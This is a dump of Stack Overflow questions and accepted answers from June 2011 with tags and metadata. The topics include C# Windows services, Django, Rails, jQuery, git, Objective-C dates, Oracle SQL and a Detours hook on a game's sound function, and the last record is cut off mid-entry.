QUESTION:
I have a button in C#: private void button15_Click(object sender, EventArgs e) {
StartService(); } and I try to call the method: public static void StartService(string serviceName, int timeoutMilliseconds) { ServiceController service = new ServiceController(se... | [
"c#",
".net",
"windows"
] | 0 | 3 | 1,591 | 3 | 0 | 2011-06-05T20:00:03.703000 | 2011-06-05T20:02:21.037000 |
6,245,498 | 6,245,694 | Django ORM & Unit of Work | Is there any easy way / library / external app to introduce Unit of Work concept to Django ORM? What approaches or techniques do you use to solve the problem of importing the same row twice in a complicated model setup without loosing all the modularity? EDIT Example Consider the following examplatory situation - there... | I'm not entirely sure what you're asking, but a few years ago David Cramer wrote a library called Django-identitymapper - could that fit the bill? | Django ORM & Unit of Work Is there any easy way / library / external app to introduce Unit of Work concept to Django ORM? What approaches or techniques do you use to solve the problem of importing the same row twice in a complicated model setup without loosing all the modularity? EDIT Example Consider the following exa... | TITLE:
Django ORM & Unit of Work
QUESTION:
Is there any easy way / library / external app to introduce Unit of Work concept to Django ORM? What approaches or techniques do you use to solve the problem of importing the same row twice in a complicated model setup without loosing all the modularity? EDIT Example Consider... | [
"python",
"django",
"orm",
"django-models",
"django-orm"
] | 7 | 1 | 2,766 | 2 | 0 | 2011-06-05T20:00:52.090000 | 2011-06-05T20:35:25.187000 |
6,245,504 | 6,245,638 | How to make existing images into paperclip images? | Before using paperclip with rails, I wrote my own upload script with which I uploaded a batch of images and assigned to their respective objects. But now i need to switch all the images to be paperclip friendly. Is there a way to pass images to paperclip without using a form? Image.all.each do |image| image[:file] = im... | Given file is the name of your paperclip object, I'd do something like: Image.all.each do |image| image.file = File.open("#{Rails.root}/path_to_images/#{image.filename}") image.save end | How to make existing images into paperclip images? Before using paperclip with rails, I wrote my own upload script with which I uploaded a batch of images and assigned to their respective objects. But now i need to switch all the images to be paperclip friendly. Is there a way to pass images to paperclip without using ... | TITLE:
How to make existing images into paperclip images?
QUESTION:
Before using paperclip with rails, I wrote my own upload script with which I uploaded a batch of images and assigned to their respective objects. But now i need to switch all the images to be paperclip friendly. Is there a way to pass images to paperc... | [
"ruby-on-rails",
"paperclip"
] | 2 | 6 | 878 | 1 | 0 | 2011-06-05T20:01:31.457000 | 2011-06-05T20:26:35.543000 |
6,245,506 | 6,245,580 | Ada short-circuit control forms | Whats the meaning of x AND THEN y AND z is it x AND THEN (y AND z) (y, z gets never evaluated if x is FALSE) or (x AND THEN y) AND z (if x is FALSE, y is skipped, but its possible that z is evaluated) in ada? | The short-circuit operators have the same precedence as their strict versions. | Ada short-circuit control forms Whats the meaning of x AND THEN y AND z is it x AND THEN (y AND z) (y, z gets never evaluated if x is FALSE) or (x AND THEN y) AND z (if x is FALSE, y is skipped, but its possible that z is evaluated) in ada? | TITLE:
Ada short-circuit control forms
QUESTION:
Whats the meaning of x AND THEN y AND z is it x AND THEN (y AND z) (y, z gets never evaluated if x is FALSE) or (x AND THEN y) AND z (if x is FALSE, y is skipped, but its possible that z is evaluated) in ada?
ANSWER:
The short-circuit operators have the same precedence... | [
"ada",
"abstract-syntax-tree",
"short-circuiting"
] | 10 | 4 | 1,568 | 4 | 0 | 2011-06-05T20:01:35.887000 | 2011-06-05T20:15:27.477000 |
6,245,520 | 6,245,704 | Does a Middle Ground Exist? (Unit Testing vs. Integration Testing) | Consider an implementation of the Repository Pattern (or similar). I'll try to keep the example/illustration as succinct as possible: interface IRepository { void Add(T entity); }
public class Repository: IRepository { public void Add(T entity) { // Some logic to add the entity to the repository here. } } In this part... | It sounds like you're describing the testing of an implementation detail rather than fulfillment of the requirements of a pattern by an implementor of the pattern. It doesn't matter if "specific points of execution" have been reached within the tested unit, it only matters if the concrete implementor upholds the contra... | Does a Middle Ground Exist? (Unit Testing vs. Integration Testing) Consider an implementation of the Repository Pattern (or similar). I'll try to keep the example/illustration as succinct as possible: interface IRepository { void Add(T entity); }
public class Repository: IRepository { public void Add(T entity) { // So... | TITLE:
Does a Middle Ground Exist? (Unit Testing vs. Integration Testing)
QUESTION:
Consider an implementation of the Repository Pattern (or similar). I'll try to keep the example/illustration as succinct as possible: interface IRepository { void Add(T entity); }
public class Repository: IRepository { public void Add... | [
"c#",
"unit-testing",
"integration-testing"
] | 4 | 2 | 421 | 3 | 0 | 2011-06-05T20:03:51.597000 | 2011-06-05T20:36:23.100000 |
6,245,535 | 6,246,622 | NSString *text to NSString *icon? | I am making an app that is a standalone menu item and the basis for the code is sample code I found on a website. The sample code uses a number as the menu icon, but I want to change it to an image. I want it to be like other apps where it shows icon.png when not clicked and icon-active.png when clicked. The current co... | Use an NSImage and draw it where desired. For example: NSString *name = clicked? @"icon-active": @"icon"; NSImage *image = [NSImage imageNamed:name]; NSPoint p = [self bounds].origin; [image drawAtPoint:p fromRect:NSZeroRect operation:NSCompositeSourceOver fraction:1.0]; | NSString *text to NSString *icon? I am making an app that is a standalone menu item and the basis for the code is sample code I found on a website. The sample code uses a number as the menu icon, but I want to change it to an image. I want it to be like other apps where it shows icon.png when not clicked and icon-activ... | TITLE:
NSString *text to NSString *icon?
QUESTION:
I am making an app that is a standalone menu item and the basis for the code is sample code I found on a website. The sample code uses a number as the menu icon, but I want to change it to an image. I want it to be like other apps where it shows icon.png when not clic... | [
"cocoa",
"macos",
"menubar"
] | 1 | 2 | 370 | 2 | 0 | 2011-06-05T20:06:29.087000 | 2011-06-05T23:30:20.530000 |
6,245,545 | 6,246,149 | What is the difference between usage of setViewBinder/setViewValue and getView/LayoutInflater? | Looks like there are two possible ways to change something in the ListView rows: using of setViewBinder / setViewValue: myCursor.setViewBinder(new SimpleCursorAdapter.ViewBinder() { @Override public boolean setViewValue(View view, Cursor cursor, int columnIndex) { int viewId = view.getId(); switch(viewId) { case R.id.i... | You can use both of them to accomplish the same task. The ViewBinder system is added by SimpleCursorAdapter to make things easier for you, so you don't have to write the entire getView code. In fact, SimpleCursorAdapter just implements getView by calling the setViewValue method (along with the standard boilerplate erro... | What is the difference between usage of setViewBinder/setViewValue and getView/LayoutInflater? Looks like there are two possible ways to change something in the ListView rows: using of setViewBinder / setViewValue: myCursor.setViewBinder(new SimpleCursorAdapter.ViewBinder() { @Override public boolean setViewValue(View ... | TITLE:
What is the difference between usage of setViewBinder/setViewValue and getView/LayoutInflater?
QUESTION:
Looks like there are two possible ways to change something in the ListView rows: using of setViewBinder / setViewValue: myCursor.setViewBinder(new SimpleCursorAdapter.ViewBinder() { @Override public boolean ... | [
"android",
"android-listview",
"layout-inflater",
"android-viewbinder"
] | 4 | 4 | 3,742 | 1 | 0 | 2011-06-05T20:08:20.400000 | 2011-06-05T21:58:44.007000 |
6,245,548 | 6,245,602 | Which one is better for a voting function | Which system would be the best to go ahead with for voting function and why?; Putting the votes separately inside a database table and calculating the average when it is needed Having only one row for one product. When a new vote comes, getting that vote form database, calculate it again and update the record. for exam... | Well, it always depends on what you want to with the additional information about the votes. If you want to know for example trends in voting (is the average going up or down) or you want to know it the votes are relatively old / new or what user has casted the vote (the 1-vote-per-person-check) etc. etc. etc. you want... | Which one is better for a voting function Which system would be the best to go ahead with for voting function and why?; Putting the votes separately inside a database table and calculating the average when it is needed Having only one row for one product. When a new vote comes, getting that vote form database, calculat... | TITLE:
Which one is better for a voting function
QUESTION:
Which system would be the best to go ahead with for voting function and why?; Putting the votes separately inside a database table and calculating the average when it is needed Having only one row for one product. When a new vote comes, getting that vote form ... | [
"c#",
"asp.net",
"sql-server",
"voting",
"voting-system"
] | 3 | 3 | 196 | 3 | 0 | 2011-06-05T20:09:11.887000 | 2011-06-05T20:20:43.773000 |
6,245,556 | 6,245,585 | Simulating Boolean Return Values in SQL Server 2005 | I know that the closest one can get to a boolean data type in SQL Server 2005 is the BIT data type. However, SQL Server obviously works continously with boolean values (after all, it can handle comparisons). That being, is there any way one can "simulate" a boolean return value from an UDF? For example, I would like to... | In MS SQL Server, no. Boolean is not a directly usable data type. You must compare the value to something. | Simulating Boolean Return Values in SQL Server 2005 I know that the closest one can get to a boolean data type in SQL Server 2005 is the BIT data type. However, SQL Server obviously works continously with boolean values (after all, it can handle comparisons). That being, is there any way one can "simulate" a boolean re... | TITLE:
Simulating Boolean Return Values in SQL Server 2005
QUESTION:
I know that the closest one can get to a boolean data type in SQL Server 2005 is the BIT data type. However, SQL Server obviously works continously with boolean values (after all, it can handle comparisons). That being, is there any way one can "simu... | [
"sql-server-2005"
] | 2 | 3 | 253 | 1 | 0 | 2011-06-05T20:10:59.343000 | 2011-06-05T20:16:43.707000 |
6,245,563 | 6,245,615 | How can I grab this with RegEx? | Say I have this: String here: STRING TO GRAB How can I grab the STRING TO GRAB efficiently with RegEx? Keep in mind that this isn't the only text on the page, so / (.*)<\/strong>/ wouldn't work. Thanks | There are two ways. Dom classes: use the dom classes of PHP if the html is sort of a decent kind. See: - http://www.php.net/manual/en/domxpath.query.php - http://www.php.net/manual/en/domdocument.loadhtml.php Regex If it's not really valid html or dom loading does not work, perhaps regex is a good solution. I'm assumin... | How can I grab this with RegEx? Say I have this: String here: STRING TO GRAB How can I grab the STRING TO GRAB efficiently with RegEx? Keep in mind that this isn't the only text on the page, so / (.*)<\/strong>/ wouldn't work. Thanks | TITLE:
How can I grab this with RegEx?
QUESTION:
Say I have this: String here: STRING TO GRAB How can I grab the STRING TO GRAB efficiently with RegEx? Keep in mind that this isn't the only text on the page, so / (.*)<\/strong>/ wouldn't work. Thanks
ANSWER:
There are two ways. Dom classes: use the dom classes of PHP... | [
"php",
"regex"
] | 1 | 3 | 96 | 2 | 0 | 2011-06-05T20:12:41.103000 | 2011-06-05T20:22:42.670000 |
6,245,570 | 6,245,587 | How do I get the current branch name in Git? | How do I get the name of the current branch in Git? | git branch should show all the local branches of your repo. The starred branch is your current branch. To retrieve only the name of the branch you are on: git rev-parse --abbrev-ref HEAD Version 2.22 adds the --show-current option to ”print the name of the current branch”. The combination also works for freshly initial... | How do I get the current branch name in Git? How do I get the name of the current branch in Git? | TITLE:
How do I get the current branch name in Git?
QUESTION:
How do I get the name of the current branch in Git?
ANSWER:
git branch should show all the local branches of your repo. The starred branch is your current branch. To retrieve only the name of the branch you are on: git rev-parse --abbrev-ref HEAD Version 2... | [
"git",
"branch",
"git-branch"
] | 4,062 | 4,263 | 3,237,993 | 52 | 0 | 2011-06-05T20:13:43.930000 | 2011-06-05T20:17:04.933000 |
6,245,575 | 6,245,622 | Help with jQuery selector | Possible Duplicate: Check for values in multidimensional input array I'm using a jQuery selector to look for duplicate tokens in a set of input tags that looks like this: This is my jQuery selector check for duplicate tokens, which doesn't seem to be working: if ($('#class-items > li > input[name$="Search_Type"][value=... | Your name attributes do not end with Search_Type and Search_Term. They have a ] at the end, so the selector should use Search_Type] and Search_Term], as in: // -------------------------------------v '#class-items > li > input[name$="Search_Type]"][value="' + searchType + '"] + input[name$="Search_Term]"][value="' + sea... | Help with jQuery selector Possible Duplicate: Check for values in multidimensional input array I'm using a jQuery selector to look for duplicate tokens in a set of input tags that looks like this: This is my jQuery selector check for duplicate tokens, which doesn't seem to be working: if ($('#class-items > li > input[n... | TITLE:
Help with jQuery selector
QUESTION:
Possible Duplicate: Check for values in multidimensional input array I'm using a jQuery selector to look for duplicate tokens in a set of input tags that looks like this: This is my jQuery selector check for duplicate tokens, which doesn't seem to be working: if ($('#class-it... | [
"jquery",
"jquery-selectors"
] | 1 | 2 | 107 | 3 | 0 | 2011-06-05T20:14:02.097000 | 2011-06-05T20:23:27.180000 |
6,245,578 | 6,245,684 | Bitwise, bitmasking: whats wrong here? | I wanted to track some options via bitmask'ing them, and borrowed bitmask values from this answer, yet they not seem to work together. #include #define OP1 0x00003FFFUL #define OP2 0x00007FFFUL #define OP3 0x0000FFFFUL
int main() { unsigned long params = 0; //. params |= OP3; if ( (params & OP1) == OP1) std::cout << "... | For options you should use other masks, ones that are not overlapped, such as: #define OP1 0x000000FUL #define OP2 0x00000F0UL #define OP3 0x0000F00UL or (in this case you'll be able to store as many options as available bits): #define OP1 0x0000001UL #define OP2 0x0000002UL #define OP3 0x0000004UL //ETC... Your masks ... | Bitwise, bitmasking: whats wrong here? I wanted to track some options via bitmask'ing them, and borrowed bitmask values from this answer, yet they not seem to work together. #include #define OP1 0x00003FFFUL #define OP2 0x00007FFFUL #define OP3 0x0000FFFFUL
int main() { unsigned long params = 0; //. params |= OP3; if ... | TITLE:
Bitwise, bitmasking: whats wrong here?
QUESTION:
I wanted to track some options via bitmask'ing them, and borrowed bitmask values from this answer, yet they not seem to work together. #include #define OP1 0x00003FFFUL #define OP2 0x00007FFFUL #define OP3 0x0000FFFFUL
int main() { unsigned long params = 0; //. ... | [
"c++",
"bitmask"
] | 0 | 4 | 404 | 5 | 0 | 2011-06-05T20:15:10.583000 | 2011-06-05T20:33:53.320000 |
6,245,592 | 6,245,812 | How To Start Using Kostache? | I just asked a question ( Templates In Kohana 3.1 ) about templates and now I know that I should use Kostache. It's a module for the Mustache template language. Anyway, I just enabled Kostache module for my Kohana 3.1 and all works. It's installed correctly! What to do next? How to use it? Where should I put my views n... | Where should I put my views now? View classes contain logic for your templates and by convention should be stored in classes/view/{template name}.php Templates contain your HTML and should be stored in the templates directory in the root of your module, e.g. templates/login.mustache By default kostache will try and wor... | How To Start Using Kostache? I just asked a question ( Templates In Kohana 3.1 ) about templates and now I know that I should use Kostache. It's a module for the Mustache template language. Anyway, I just enabled Kostache module for my Kohana 3.1 and all works. It's installed correctly! What to do next? How to use it? ... | TITLE:
How To Start Using Kostache?
QUESTION:
I just asked a question ( Templates In Kohana 3.1 ) about templates and now I know that I should use Kostache. It's a module for the Mustache template language. Anyway, I just enabled Kostache module for my Kohana 3.1 and all works. It's installed correctly! What to do nex... | [
"view",
"kohana",
"kohana-3",
"mustache"
] | 8 | 7 | 2,805 | 4 | 0 | 2011-06-05T20:18:33.457000 | 2011-06-05T20:57:21.157000 |
6,245,597 | 6,245,731 | Calculating the end of a month, or its last second | I have the simplest of tasks that I can't figure out how to do correctly. With the snippet below I can find out the beginning of a month. NSCalendar *cal = [NSCalendar currentCalendar]; NSDate *beginning = nil; [cal rangeOfUnit:NSMonthCalendarUnit startDate:&beginning interval:NULL forDate:self]; return beginning; Now ... | Do this to get the beginning of next month: NSDateComponents *comps = [[NSDateComponents alloc] init]; [comps setMonth:1]; NSDate *beginningOfNextMonth = [cal dateByAddingComponents:comps toDate:beginning options:0]; [comps release]; | Calculating the end of a month, or its last second I have the simplest of tasks that I can't figure out how to do correctly. With the snippet below I can find out the beginning of a month. NSCalendar *cal = [NSCalendar currentCalendar]; NSDate *beginning = nil; [cal rangeOfUnit:NSMonthCalendarUnit startDate:&beginning ... | TITLE:
Calculating the end of a month, or its last second
QUESTION:
I have the simplest of tasks that I can't figure out how to do correctly. With the snippet below I can find out the beginning of a month. NSCalendar *cal = [NSCalendar currentCalendar]; NSDate *beginning = nil; [cal rangeOfUnit:NSMonthCalendarUnit sta... | [
"objective-c",
"cocoa",
"nsdate",
"nscalendar",
"nsdatecomponents"
] | 5 | 3 | 2,827 | 3 | 0 | 2011-06-05T20:20:02.413000 | 2011-06-05T20:43:02.787000 |
6,245,600 | 6,245,726 | How do I tell jQuery that an AJAX request was successful? | I'm trying to submit a form with AJAX through jQuery: $('.submit input').click(function() {return false;});
$("#addcourseform").submit(function(event) { event.preventDefault(); var formcont = $(this).serialize(); $.post({ type:"POST", url: " handover/courseadd", data: formcont, success: function(returned) { alert("It ... | $.post is not the same as $.ajax so you have to provide the parameters differently. Try this: $.post(" handover/courseadd", $(this).serialize(), function(returned){ alert("It worked: " + returned); }); Or just replace post with ajax in your current code. | How do I tell jQuery that an AJAX request was successful? I'm trying to submit a form with AJAX through jQuery: $('.submit input').click(function() {return false;});
$("#addcourseform").submit(function(event) { event.preventDefault(); var formcont = $(this).serialize(); $.post({ type:"POST", url: " handover/courseadd"... | TITLE:
How do I tell jQuery that an AJAX request was successful?
QUESTION:
I'm trying to submit a form with AJAX through jQuery: $('.submit input').click(function() {return false;});
$("#addcourseform").submit(function(event) { event.preventDefault(); var formcont = $(this).serialize(); $.post({ type:"POST", url: " h... | [
"jquery",
"ajax"
] | 2 | 6 | 172 | 3 | 0 | 2011-06-05T20:20:25.543000 | 2011-06-05T20:40:43.147000 |
6,245,606 | 6,246,617 | Need Help Setting UIPicker's Label From Selection | I have a UIPicker with a UILabel above it that updates displaying the current selection. When I go to this view the 2nd time, the UIPicker's selection is on the last cell where I left off, but the label is on the default string. How can I make it so the label is also on where I last left off? This is the code I am usin... | If i assume correct, you are calling -(void)displayPicker to set the default numberLabel text value (as in self.numberLabel.text = @"1 number"; ). Possible cause would be, that - (void)displayPicker is called every time, the view is presented to the user, but - (void)pickerView:(UIPickerView *)thePickerView didSelectRo... | Need Help Setting UIPicker's Label From Selection I have a UIPicker with a UILabel above it that updates displaying the current selection. When I go to this view the 2nd time, the UIPicker's selection is on the last cell where I left off, but the label is on the default string. How can I make it so the label is also on... | TITLE:
Need Help Setting UIPicker's Label From Selection
QUESTION:
I have a UIPicker with a UILabel above it that updates displaying the current selection. When I go to this view the 2nd time, the UIPicker's selection is on the last cell where I left off, but the label is on the default string. How can I make it so th... | [
"iphone",
"objective-c",
"uipickerview"
] | 0 | 0 | 161 | 1 | 0 | 2011-06-05T20:20:57.747000 | 2011-06-05T23:29:02.877000 |
6,245,608 | 6,246,086 | HOpenGL - OpenGL window remains minimized | Following some well-known OpenGL Haskell tutorial, I've made my first HOpenGL program. Here's the code: import Graphics.Rendering.OpenGL import Graphics.UI.GLUT
main = do (progname, _) <- getArgsAndInitialize createWindow "Hello World" displayCallback $= clear [ ColorBuffer ] mainLoop It compiles and runs, but window ... | Seems solved, upon installing haskell-platform from official repo. Which library was lacking, still remains mystery to me, and I'm not sure I want to dig into this. Trying to fetch all missing Haskell libs on your own is BDSM. Edit: Window minimizes only if run from terminal. All works fine (+/-) if run from nautilus. | HOpenGL - OpenGL window remains minimized Following some well-known OpenGL Haskell tutorial, I've made my first HOpenGL program. Here's the code: import Graphics.Rendering.OpenGL import Graphics.UI.GLUT
main = do (progname, _) <- getArgsAndInitialize createWindow "Hello World" displayCallback $= clear [ ColorBuffer ] ... | TITLE:
HOpenGL - OpenGL window remains minimized
QUESTION:
Following some well-known OpenGL Haskell tutorial, I've made my first HOpenGL program. Here's the code: import Graphics.Rendering.OpenGL import Graphics.UI.GLUT
main = do (progname, _) <- getArgsAndInitialize createWindow "Hello World" displayCallback $= clea... | [
"opengl",
"haskell",
"glut",
"ubuntu-10.10"
] | 4 | 2 | 424 | 1 | 0 | 2011-06-05T20:21:39.397000 | 2011-06-05T21:48:50.213000 |
6,245,620 | 6,245,917 | Question on DB design approaches in Java | I have data in a DB that have hierarchical relationship (could be represented as a tree). Right now, whenever a request comes in the server, a recursive query is done in the DB to create an in-memory list (which is a branch of the tree, from leaf to root that actually exists) and do processing using that list. This is ... | Instead of a thread you could use a caching solution. The result of the query would be cached and returned on every request, if any of the tables in the query are modified you invalidate the cache, wait until the next request to retrieve the new values and load them on the cache. This solution meets requisites 1 and 2.... | Question on DB design approaches in Java I have data in a DB that have hierarchical relationship (could be represented as a tree). Right now, whenever a request comes in the server, a recursive query is done in the DB to create an in-memory list (which is a branch of the tree, from leaf to root that actually exists) an... | TITLE:
Question on DB design approaches in Java
QUESTION:
I have data in a DB that have hierarchical relationship (could be represented as a tree). Right now, whenever a request comes in the server, a recursive query is done in the DB to create an in-memory list (which is a branch of the tree, from leaf to root that a... | [
"java",
"database",
"jakarta-ee"
] | 1 | 2 | 90 | 2 | 0 | 2011-06-05T20:23:06.950000 | 2011-06-05T21:14:32.603000 |
6,245,628 | 6,245,878 | Doing work that takes a long time when app has been backgrounded | I want a method to work in background until a duration specified by the user (let's say 20 minutes) elapses. I know it's not possible, because Apple allows the app to work for a maximum of 10 minutes in the background. Unfortunately FireDate works with UILocalNotification s only. I also read about performSelector:Selec... | two methods that will be of use: NSObject -(void)performSelectorInBackground:(SEL)aSelector withObject:(id)arg UIApplication - (UIBackgroundTaskIdentifier)beginBackgroundTaskWithExpirationHandler:(void(^)(void))handler local notifications can be used if you want the user to re-launch, but if they don't click through to... | Doing work that takes a long time when app has been backgrounded I want a method to work in background until a duration specified by the user (let's say 20 minutes) elapses. I know it's not possible, because Apple allows the app to work for a maximum of 10 minutes in the background. Unfortunately FireDate works with UI... | TITLE:
Doing work that takes a long time when app has been backgrounded
QUESTION:
I want a method to work in background until a duration specified by the user (let's say 20 minutes) elapses. I know it's not possible, because Apple allows the app to work for a maximum of 10 minutes in the background. Unfortunately Fire... | [
"objective-c",
"cocoa-touch",
"ios",
"background",
"multitasking"
] | 0 | 0 | 271 | 1 | 0 | 2011-06-05T20:24:30.107000 | 2011-06-05T21:08:08.553000 |
6,245,634 | 6,245,663 | Populate select list from JSON | I've been looking around for a solution to what appears to be a simple problem, but am unable to find the solution...any guidance would be appreciated. I am attempting to build a select box using JSON object retrieved from a PHP script. The PHP script (versions.php) is running a query against a database table; code is ... | You're almost there. Based on your JSON structure, It should look something like this: jQuery(function($){ $.getJSON('versions.php', function(data) { var select = $('#release-list'); $.each(data, function(key, val){ $(' ').attr('value', val.version).html('version ' + val.version).appendTo(select); }); }); }); | Populate select list from JSON I've been looking around for a solution to what appears to be a simple problem, but am unable to find the solution...any guidance would be appreciated. I am attempting to build a select box using JSON object retrieved from a PHP script. The PHP script (versions.php) is running a query aga... | TITLE:
Populate select list from JSON
QUESTION:
I've been looking around for a solution to what appears to be a simple problem, but am unable to find the solution...any guidance would be appreciated. I am attempting to build a select box using JSON object retrieved from a PHP script. The PHP script (versions.php) is r... | [
"php",
"json",
"jquery"
] | 3 | 4 | 3,164 | 1 | 0 | 2011-06-05T20:25:23.487000 | 2011-06-05T20:30:29.213000 |
6,245,639 | 6,246,002 | MS Detours 2.1 - Popping out of stack | I wont to detour PlaySoundW function inside Minesweeper. Game is crashing as soon as it calls PlaySoundW function. If I uncomment Beep inside my code, game beeps and than crashes. Now code is calling original function from hooked function so it should't do anything. But it is crashing anyway. Can you tell me what is wr... | Try setting the calling convention of HookPlaySoundW to __stdcall (because the CC of PlaySoundW is also __stdcall (from Windows.h ): WINMMAPI BOOL WINAPI PlaySoundW( __in_opt LPCWSTR pszSound, __in_opt HMODULE hmod, __in DWORD fdwSound); ). I have worked with detours before and after a casual glance everything looks co... | MS Detours 2.1 - Popping out of stack I wont to detour PlaySoundW function inside Minesweeper. Game is crashing as soon as it calls PlaySoundW function. If I uncomment Beep inside my code, game beeps and than crashes. Now code is calling original function from hooked function so it should't do anything. But it is crash... | TITLE:
MS Detours 2.1 - Popping out of stack
QUESTION:
I wont to detour PlaySoundW function inside Minesweeper. Game is crashing as soon as it calls PlaySoundW function. If I uncomment Beep inside my code, game beeps and than crashes. Now code is calling original function from hooked function so it should't do anythin... | [
"c++",
"winapi",
"code-injection",
"detours"
] | 1 | 2 | 408 | 1 | 0 | 2011-06-05T20:26:41.407000 | 2011-06-05T21:31:44.210000 |
6,245,643 | 6,245,654 | Why aren't my variables persisting between methods? - iPhone | Header file: NSString *righta; @property(nonatomic, retain) NSString *righta; (I don't usually make @property declarations for my variables but thought this might help the variable persist through the class, though it hasn't) Implementation file: @synthesize righta;
- (void) function1 { righta = [NSString stringWithFo... | stringWithFormat returns an autoreleased object. You must retain it. Note that you are accessing the ivar directy, not the property so the string is not getting retained. Use the property instead: self.righta = [NSString stringWithFormat:@"A"]; Some programmers prefer to synthesize their properties with a different iva... | Why aren't my variables persisting between methods? - iPhone Header file: NSString *righta; @property(nonatomic, retain) NSString *righta; (I don't usually make @property declarations for my variables but thought this might help the variable persist through the class, though it hasn't) Implementation file: @synthesize ... | TITLE:
Why aren't my variables persisting between methods? - iPhone
QUESTION:
Header file: NSString *righta; @property(nonatomic, retain) NSString *righta; (I don't usually make @property declarations for my variables but thought this might help the variable persist through the class, though it hasn't) Implementation ... | [
"iphone",
"variables",
"methods",
"persistence"
] | 1 | 2 | 55 | 3 | 0 | 2011-06-05T20:27:06.160000 | 2011-06-05T20:28:45.800000 |
6,245,646 | 6,245,678 | how to proceed once a file containing something in shell | I am writing some BASH shell script that will continuously check a file to see if the file already contains "Completed!" before proceeding. (Of course, assume the file is being updated and will eventually contain the phrase "Completed!") I am not sure how to do this. Thank you for your help. | You can do something like: while! grep -q -e 'Completed!' file; do sleep 1 # Or some other number of seconds done
# Here the file contains completed | how to proceed once a file containing something in shell I am writing some BASH shell script that will continuously check a file to see if the file already contains "Completed!" before proceeding. (Of course, assume the file is being updated and will eventually contain the phrase "Completed!") I am not sure how to do t... | TITLE:
how to proceed once a file containing something in shell
QUESTION:
I am writing some BASH shell script that will continuously check a file to see if the file already contains "Completed!" before proceeding. (Of course, assume the file is being updated and will eventually contain the phrase "Completed!") I am no... | [
"bash"
] | 1 | 4 | 105 | 4 | 0 | 2011-06-05T20:27:40.997000 | 2011-06-05T20:32:56.610000 |
6,245,650 | 6,245,698 | Oracle Select Highest date per record | I'm a little bit stumped as to how to do this. I want to select records from a table "agency" joined to a table "notes" on an id column that the two tables share. Table structure: create table notes ( notes_id varchar2(5), agency_gp_id varchar2(5), call_date date, call_note varchar2(4000) );
create table agency( agenc... | If I understand your problem correctly, changing call_date to MAX(call_date) (and removing it from the GROUP BY statement) should get you what you want int terms of data, but would also pull in false positives, namely any agency that had notes older than 120 days, regardless of the most recent note. If we filter those ... | Oracle Select Highest date per record I'm a little bit stumped as to how to do this. I want to select records from a table "agency" joined to a table "notes" on an id column that the two tables share. Table structure: create table notes ( notes_id varchar2(5), agency_gp_id varchar2(5), call_date date, call_note varchar... | TITLE:
Oracle Select Highest date per record
QUESTION:
I'm a little bit stumped as to how to do this. I want to select records from a table "agency" joined to a table "notes" on an id column that the two tables share. Table structure: create table notes ( notes_id varchar2(5), agency_gp_id varchar2(5), call_date date,... | [
"sql",
"oracle11g"
] | 1 | 1 | 598 | 1 | 0 | 2011-06-05T20:27:56.487000 | 2011-06-05T20:35:46.997000 |
6,245,652 | 6,245,666 | How to grey out buttons on C# forms dependent on a particular instance | I have this method that checks if a service is running and a button which when clicked initaites the method. Although is there a way to "grey out" the button if the service is for example - not installed.? public static void StopService(string serviceName, int timeoutMilliseconds) { ServiceController service = new Serv... | WinForms controls have a.Enabled property that when set to False, the control is grayed out like you wish. I assume WPF has the same functionality, but I have never used WPF so I can't say for certain. | How to grey out buttons on C# forms dependent on a particular instance I have this method that checks if a service is running and a button which when clicked initaites the method. Although is there a way to "grey out" the button if the service is for example - not installed.? public static void StopService(string servi... | TITLE:
How to grey out buttons on C# forms dependent on a particular instance
QUESTION:
I have this method that checks if a service is running and a button which when clicked initaites the method. Although is there a way to "grey out" the button if the service is for example - not installed.? public static void StopSe... | [
"c#",
".net",
"windows",
"winforms"
] | 0 | 4 | 4,496 | 1 | 0 | 2011-06-05T20:28:18.900000 | 2011-06-05T20:31:12.157000 |
6,245,668 | 6,245,701 | Regard creating a Java project in Eclipse | In the “create a Java project” wizard. For the “project layout”, there are two choices: 1) use project folder as root for sources and class files. 2) Create separate folders for source and class files Which one should I choose? For the “Working set” Whether I need to check the “Add project to working set”? What does it... | I always choose Create separate folders for source and class files, it's just separate your src files and your output files | Regard creating a Java project in Eclipse In the “create a Java project” wizard. For the “project layout”, there are two choices: 1) use project folder as root for sources and class files. 2) Create separate folders for source and class files Which one should I choose? For the “Working set” Whether I need to check the ... | TITLE:
Regard creating a Java project in Eclipse
QUESTION:
In the “create a Java project” wizard. For the “project layout”, there are two choices: 1) use project folder as root for sources and class files. 2) Create separate folders for source and class files Which one should I choose? For the “Working set” Whether I ... | [
"java",
"eclipse"
] | 6 | 8 | 5,392 | 4 | 0 | 2011-06-05T20:31:20.957000 | 2011-06-05T20:36:10.347000 |
6,245,669 | 6,245,683 | What is the default protection level when inheriting a subclass? | Possible Duplicate: Default class inheritance access I know I can set the protection level when I declare a subclass from a superclass as in: class Dog: public Pet { *blah, blah, blah* } But what does the protection level default to in this case? Class Dog: Pet { *blah, blah, blah* } | For a class it is private class Dog: Pet // Pet is inherited privately. {} For a struct it is public. struct Dog: Pet // Pet is inherited publicly. {} Simple test: class Pet {}; class DogClass: Pet {}; struct DogStruct: Pet {}; int main() { DogClass dogClass; // Pet& pet1 = dogClass; This line will not compile.
DogStr... | What is the default protection level when inheriting a subclass? Possible Duplicate: Default class inheritance access I know I can set the protection level when I declare a subclass from a superclass as in: class Dog: public Pet { *blah, blah, blah* } But what does the protection level default to in this case? Class Do... | TITLE:
What is the default protection level when inheriting a subclass?
QUESTION:
Possible Duplicate: Default class inheritance access I know I can set the protection level when I declare a subclass from a superclass as in: class Dog: public Pet { *blah, blah, blah* } But what does the protection level default to in t... | [
"c++",
"inheritance"
] | 0 | 6 | 318 | 1 | 0 | 2011-06-05T20:31:29.770000 | 2011-06-05T20:33:42.530000 |
6,245,671 | 6,245,899 | Setting up routes in RoR v3 with no views, just JavaScript? | This is probably a very simple question. I am new to Rails and have just hit my first major roadblock. I have two controllers, Groups and MembershipRequests. When someone submits a MembershipRequest, the admin of the Group has the option to accept or deny the request. In my MembershipRequests controller, I have two met... | I think, link_to should also have:method =>:post because you're mapping it to a custom (non-RESTful) action (that's just an assumption) and:remote => true, to tell rails that this link uses unobtrusive JS. This screencast might help, or at least give a starting point. Oh, and yes. As Ryan suggests, you'd better use som... | Setting up routes in RoR v3 with no views, just JavaScript? This is probably a very simple question. I am new to Rails and have just hit my first major roadblock. I have two controllers, Groups and MembershipRequests. When someone submits a MembershipRequest, the admin of the Group has the option to accept or deny the ... | TITLE:
Setting up routes in RoR v3 with no views, just JavaScript?
QUESTION:
This is probably a very simple question. I am new to Rails and have just hit my first major roadblock. I have two controllers, Groups and MembershipRequests. When someone submits a MembershipRequest, the admin of the Group has the option to a... | [
